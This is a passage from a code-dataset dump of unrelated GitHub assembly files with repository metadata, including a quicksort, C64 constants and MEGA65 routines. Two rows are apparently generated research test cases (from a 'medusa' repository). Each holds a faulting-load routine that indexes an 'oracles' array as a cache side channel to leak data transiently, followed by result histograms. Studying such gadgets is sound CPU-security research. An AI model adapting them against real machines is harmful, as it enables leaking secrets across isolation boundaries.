] | null | null | null | examples/usecase_barrelfish/initial_stack/extract-synth-amd64.asm | Harvard-PRINCESS/Cassiopea-Release | 3fc731463575e9cc6e614f2bcfd11215b7651b5f | [
"BSD-3-Clause"
] | null | null | null | lea 8(%rip), %rsp
| 9 | 17 | 0.555556 |
c8f412da09dc4bea636c532bc54a6ed2b4af628b | 7,837 | asm | Assembly | Transynther/x86/_processed/NC/_st_zr_4k_/i3-7100_9_0x84_notsx.log_21829_1278.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_st_zr_4k_/i3-7100_9_0x84_notsx.log_21829_1278.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_st_zr_4k_/i3-7100_9_0x84_notsx.log_21829_1278.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1579, %rbp
nop
nop
nop
nop
nop
cmp $24548, %rax
movb (%rbp), %r9b
nop
nop
nop
nop
xor $60224, %rax
lea addresses_WC_ht+0xf9e9, %rsi
lea addresses_A_ht+0x1a5ed, %rdi
nop
xor %r14, %r14
mov $81, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x6869, %rsi
clflush (%rsi)
nop
nop
nop
nop
inc %rdi
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %r14
nop
nop
nop
nop
and %r9, %r9
lea addresses_WC_ht+0x3279, %rdi
and %rsi, %rsi
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
dec %rsi
lea addresses_A_ht+0xe029, %rsi
lea addresses_A_ht+0x1beb5, %rdi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $69, %rcx
rep movsb
nop
dec %rbx
lea addresses_D_ht+0xd011, %rax
nop
nop
nop
nop
nop
and %r14, %r14
mov $0x6162636465666768, %rbp
movq %rbp, (%rax)
nop
nop
nop
nop
xor $65221, %rax
lea addresses_D_ht+0x171f5, %rax
nop
nop
nop
nop
nop
xor $56679, %r14
movw $0x6162, (%rax)
nop
nop
nop
sub %rdi, %rdi
lea addresses_WC_ht+0x13721, %rsi
lea addresses_WC_ht+0x6279, %rdi
nop
nop
and %rbx, %rbx
mov $11, %rcx
rep movsq
nop
add $32431, %rsi
lea addresses_D_ht+0x12279, %rbx
nop
nop
nop
nop
sub %r9, %r9
movw $0x6162, (%rbx)
nop
nop
nop
nop
nop
xor $23674, %rax
lea addresses_normal_ht+0x379, %rsi
lea addresses_A_ht+0x54e1, %rdi
nop
nop
nop
nop
nop
inc %r14
mov $115, %rcx
rep movsq
nop
nop
cmp $38052, %rcx
lea addresses_A_ht+0x6639, %rdi
nop
nop
nop
cmp $24631, %rsi
movb (%rdi), %al
nop
nop
nop
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rax
push %rbp
push %rcx
// Store
lea addresses_D+0x1ba79, %r13
xor %rax, %rax
movb $0x51, (%r13)
nop
nop
nop
add $52186, %r15
// Store
mov $0x79, %r9
clflush (%r9)
add %rbp, %rbp
mov $0x5152535455565758, %r13
movq %r13, %xmm3
movups %xmm3, (%r9)
nop
nop
cmp %rax, %rax
// Load
lea addresses_US+0x17639, %r13
clflush (%r13)
nop
nop
nop
cmp $26644, %rbp
vmovups (%r13), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rcx
nop
nop
nop
nop
xor %r13, %r13
// Store
lea addresses_UC+0x14a19, %rcx
nop
nop
nop
nop
nop
add $49492, %r15
movw $0x5152, (%rcx)
cmp %rcx, %rcx
// Faulty Load
mov $0x6e4e450000000a79, %r15
nop
nop
nop
xor %r9, %r9
movb (%r15), %al
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': True, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 3805, '51': 18024}
51 51 51 00 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 00 51 51 00 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 00 00 00 51 51 00 51 00 51 51 51 00 51 51 51 51 51 51 51 51 00 51 00 00 51 00 00 00 00 51 51 51 51 00 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 00 00 51 00 00 51 51 51 51 51 51 51 51 00 00 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 00 00 00 00 51 00 00 51 51 51 51 51 51 51 51 51 51 51 00 00 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 00 00 00 51 51 00 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 51 51 51 00 00 51 51 51 00 00 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 00 51 51 00 00 51 00 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 51 00 00 00 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 00 51 51 51 00 00 51 00 00 00 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 00 51 51 51 51 00 00 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 00 00 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 00 00 00 00 00 00 00 51 51 51 51 51 51 51 51 51 51 00 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 30.976285 | 2,999 | 0.653311 |
dfee64a126da75d4088dad7164d114e1e3965809 | 1,491 | asm | Assembly | source/command/graphics/pen.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/command/graphics/pen.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/command/graphics/pen.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | ; ********************************************************************************************
; ********************************************************************************************
;
; Name : pen.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
;*****************************************************************
;* PEN
;*
;* Syntax : PEN Pen#, ColorReg
;*
;* parm1 = pen# 0-2
;* parm2 = color reg# 0-255
;*****************************************************************
C65__setpen
jsr getbyt ; get pen#
cpx #3 ; range 0-2
+lbcs fcerr ; branch if out of range
stx GKI__parm1
jsr combyt ; get color reg#
;???? error check for max color allowed
; for the current screen.
stx GKI__parm2
jmp ($8010) ; bra setpen
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
| 35.5 | 94 | 0.202549 |
d2ea1dc893e1986cf0de491d06f9777c90b31194 | 2,766 | asm | Assembly | Computer Organization and Architecture/Assignments/QuickSort_x86.asm | MekAkUActOR/Ugrad_Projects | bf74d37d4f86d4d43f971ba3712821d8a3ea9772 | [
"MIT"
] | null | null | null | Computer Organization and Architecture/Assignments/QuickSort_x86.asm | MekAkUActOR/Ugrad_Projects | bf74d37d4f86d4d43f971ba3712821d8a3ea9772 | [
"MIT"
] | null | null | null | Computer Organization and Architecture/Assignments/QuickSort_x86.asm | MekAkUActOR/Ugrad_Projects | bf74d37d4f86d4d43f971ba3712821d8a3ea9772 | [
"MIT"
] | null | null | null | ;an x86 assembly language program: Quick Sort 50 numbers
data_seg1 segment
Rand DW -1478,-1435,9717,12670,24787,-9063,-10763,-6781,15135,-30123,-1507,-29927,7631,6202,-18157,-19756,-18989,16501,-8657,1,20283,-15774,-14328,-15627,32579,8083,8224,1,-8137,26670,-22478,-30766,1,-16845,16598,-7502,18556,-4855,3713,26864,-30386,27752,11721,7193,1,21640,-5703,-20051,5387,-28702
x DW 0h ;100 101
i DW 0h ;102 103
j DW 0h ;104 105
ends
stack_seg segment
ST DB 1000 dup(0)
TOP EQU 1000
ends
code_seg segment
assume cs:code_seg, ds:data_seg1, ss:stack_seg
start:
MOV AX, data_seg1
MOV DS, AX
MOV AX, stack_seg
MOV SS, AX
MOV SP, TOP
MOV BX, 0
MOV CX, 98
PUSH BX
PUSH CX
CALL QUICKSORT
mov ax, 4c00h
int 21h
QUICKSORT proc near
PUSH SI
PUSH AX
PUSH BX
PUSH CX
MOV SI, SP
MOV BX, SS:[SI + 12]
MOV CX, SS:[SI + 10]
SUB BX, CX
JNS pad1
ADD BX, CX
PUSH BX
PUSH CX
CALL PARTITION
POP CX
POP BX
MOV AX, i
SUB AX, 2;q-2
PUSH BX
PUSH AX
CALL QUICKSORT
POP AX
POP BX
ADD AX, 2
PUSH AX;q
PUSH CX
CALL QUICKSORT
POP CX
POP AX
;pad1
pad1: POP CX
POP BX
POP AX
POP SI
RET
QUICKSORT endp
PARTITION proc near
PUSH AX
PUSH DX
PUSH SI
MOV SI, SP
MOV DX, SS:[SI + 8];DX=r
MOV BX, DX
MOV AX, [BX];AX=x=Q[r]
MOV x, AX
MOV BX, SS:[SI + 10]
MOV i, BX;i=p, BX=j=p
SUB i, 2;i=p-2
;pad3
pad3: MOV CX, [BX];CX=Q[j]
MOV AX, x
SUB AX, CX;x>=Q[j]|watch overflow|
JNS pad21
JS pad41
pad22: ADD i, 2;i++++
MOV j, BX
MOV BX, i
MOV AX, [BX];DX=Q[i]
MOV BX, j;BX=j **********
MOV [BX], AX;Q[j]=DX=Q[i]
MOV BX, i
MOV [BX], CX;Q[i]=CX=Q[j]
MOV BX, j
JMP pad5
;pad2
pad21: JNO pad22
JMP pad5
pad41: JO pad22
pad5: ADD BX, 2;j++++
MOV AX, BX ;AX=j
MOV CX, DX ;CX=r
SUB AX, CX
JS pad3
ADD i, 2;i+2
MOV j, BX
MOV BX, i
MOV AX, [BX];AX=Q[i]
MOV BX, DX
MOV [BX], AX;Q[r]=AX=Q[i]
MOV BX, i
MOV AX, x;AX=Q[r]
MOV [BX], AX;Q[i]=AX=Q[r]
POP SI
POP DX
POP AX;return is in i(mem16)
RET
PARTITION endp
ends
end start
| 21.952381 | 303 | 0.457701 |
1102c0f88488b96a0f74cf26a6505e5dfe240756 | 1,995 | asm | Assembly | inc/const.asm | moonorongo/looptap64 | 6fd65cc98792cff4ec904b6494c2fa78f826b758 | [
"MIT"
] | null | null | null | inc/const.asm | moonorongo/looptap64 | 6fd65cc98792cff4ec904b6494c2fa78f826b758 | [
"MIT"
] | null | null | null | inc/const.asm | moonorongo/looptap64 | 6fd65cc98792cff4ec904b6494c2fa78f826b758 | [
"MIT"
] | null | null | null | // direcciones memoria
.const spractive = $d015
.const random_ptr = $10 // numero 'aleatorio' generado
.const inmunity = $fa
.const inmunity_lenght = 25 // 0.25 seconds
.const screen_control1 = $d011
// CAPS
.const ptr_caps = $22
.const ptr_player = $23
// PLAYER
.const sprite_player_color = $d027
.const sprite_player_pointer = $07f8
.const sprite_player_x = $d000
.const sprite_player_y = $d001
.const joy_player = $dc01 // port 1
// CAP START
.const sprite_cap_start_color = $d028
.const sprite_cap_start_pointer = $07f9
.const sprite_cap_start_x = $d002
.const sprite_cap_start_y = $d003
// CAP START PREV
.const sprite_cap_start1_color = $d029
.const sprite_cap_start1_pointer = $07fa
.const sprite_cap_start1_x = $d004
.const sprite_cap_start1_y = $d005
// CAP START NEXT
.const sprite_cap_start2_color = $d02a
.const sprite_cap_start2_pointer = $07fb
.const sprite_cap_start2_x = $d006
.const sprite_cap_start2_y = $d007
// CAP END
.const sprite_cap_end_color = $d02b
.const sprite_cap_end_pointer = $07fc
.const sprite_cap_end_x = $d008
.const sprite_cap_end_y = $d009
// CAP END PREV
.const sprite_cap_end1_color = $d02c
.const sprite_cap_end1_pointer = $07fd
.const sprite_cap_end1_x = $d00a
.const sprite_cap_end1_y = $d00b
// CAP END NEXT
.const sprite_cap_end2_color = $d02d
.const sprite_cap_end2_pointer = $07fe
.const sprite_cap_end2_x = $d00c
.const sprite_cap_end2_y = $d00d
// GENERAL
.const lsbCopyAddress = $0e
.const msbCopyAddress = $0f
.const scrPtr = $0400
.const colorPtr = $d800
.const score = $c000
.const score_c = scrPtr + $01ef - 40 // $05ef
.const score_d = scrPtr + $01f0 - 40 // $05f0
.const score_u = scrPtr + $01f1 - 40 // $05f1
.const hiscore = $c001
.const hiscore_c = scrPtr + 42 + $01ef // $053d
.const hiscore_d = scrPtr + 42 + $01f0 // $053e
.const hiscore_u = scrPtr + 42 + $01f1 // $053f
.const space_text_base = colorPtr + $0251
.const space_text_status = 1 // 0 = hide, 1 = blinking
| 23.197674 | 54 | 0.717293 |
c8dd6fe522e2acad4b881f20468e4fc8d9d9ca41 | 7,286 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_491.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1b3ac, %rbx
nop
nop
nop
nop
inc %r13
movl $0x61626364, (%rbx)
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x18cac, %rsi
lea addresses_D_ht+0x1eac, %rdi
nop
nop
nop
nop
nop
sub $1017, %r11
mov $55, %rcx
rep movsq
nop
nop
nop
dec %r11
lea addresses_UC_ht+0x1878c, %rsi
nop
nop
nop
add $54558, %r14
mov (%rsi), %bx
nop
nop
xor $40991, %rdi
lea addresses_WT_ht+0x1d9ac, %rsi
lea addresses_UC_ht+0xec0c, %rdi
nop
nop
nop
nop
dec %r12
mov $101, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $1078, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r8
push %rcx
push %rdi
// Store
lea addresses_UC+0xebec, %r14
nop
nop
nop
nop
nop
add %r11, %r11
movb $0x51, (%r14)
add %r8, %r8
// Store
lea addresses_RW+0x114ec, %rdi
nop
nop
nop
nop
nop
dec %r10
movb $0x51, (%rdi)
nop
nop
nop
add $55804, %r14
// Store
lea addresses_A+0x1aad2, %rdi
and $54313, %r14
movw $0x5152, (%rdi)
nop
nop
and $10625, %r11
// Store
lea addresses_WT+0x1f0e6, %r10
nop
nop
xor $22503, %r11
mov $0x5152535455565758, %r8
movq %r8, (%r10)
nop
nop
cmp $29729, %r8
// Store
lea addresses_normal+0x151ac, %r13
nop
nop
dec %rdi
movb $0x51, (%r13)
nop
cmp $12115, %r10
// Store
lea addresses_US+0x5b6c, %rcx
nop
nop
nop
nop
cmp %r10, %r10
mov $0x5152535455565758, %r11
movq %r11, (%rcx)
nop
nop
nop
nop
nop
and %r10, %r10
// Store
lea addresses_WC+0xb1ac, %r13
cmp $45900, %rcx
movl $0x51525354, (%r13)
nop
nop
nop
nop
nop
and %rdi, %rdi
// Store
lea addresses_US+0x144ac, %r11
xor %r8, %r8
mov $0x5152535455565758, %r13
movq %r13, %xmm3
vmovups %ymm3, (%r11)
nop
cmp %r14, %r14
// Store
lea addresses_WC+0x74ac, %r14
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm7
and $0xffffffffffffffc0, %r14
movaps %xmm7, (%r14)
nop
nop
add $35079, %rcx
// Faulty Load
mov $0x2eed3900000009ac, %r10
nop
nop
sub $9147, %r14
vmovaps (%r10), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %r8
lea oracles, %r14
and $0xff, %r8
shlq $12, %r8
mov (%r14,%r8,1), %r8
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}}
{'49': 21814, '00': 11, '44': 4}
49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49
*/
| 32.096916 | 2,999 | 0.653582 |
00b7cb1ff586b6ada21ba90df6bbfaa4a42379fa | 171 | asm | Assembly | libsrc/_DEVELOPMENT/libgen/c/sdcc/basename.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/libgen/c/sdcc/basename.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/libgen/c/sdcc/basename.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; char *basename(char *path)
SECTION code_string
PUBLIC _basename
EXTERN asm_basename
_basename:
pop af
pop hl
push hl
push af
jp asm_basename
| 9.5 | 28 | 0.678363 |
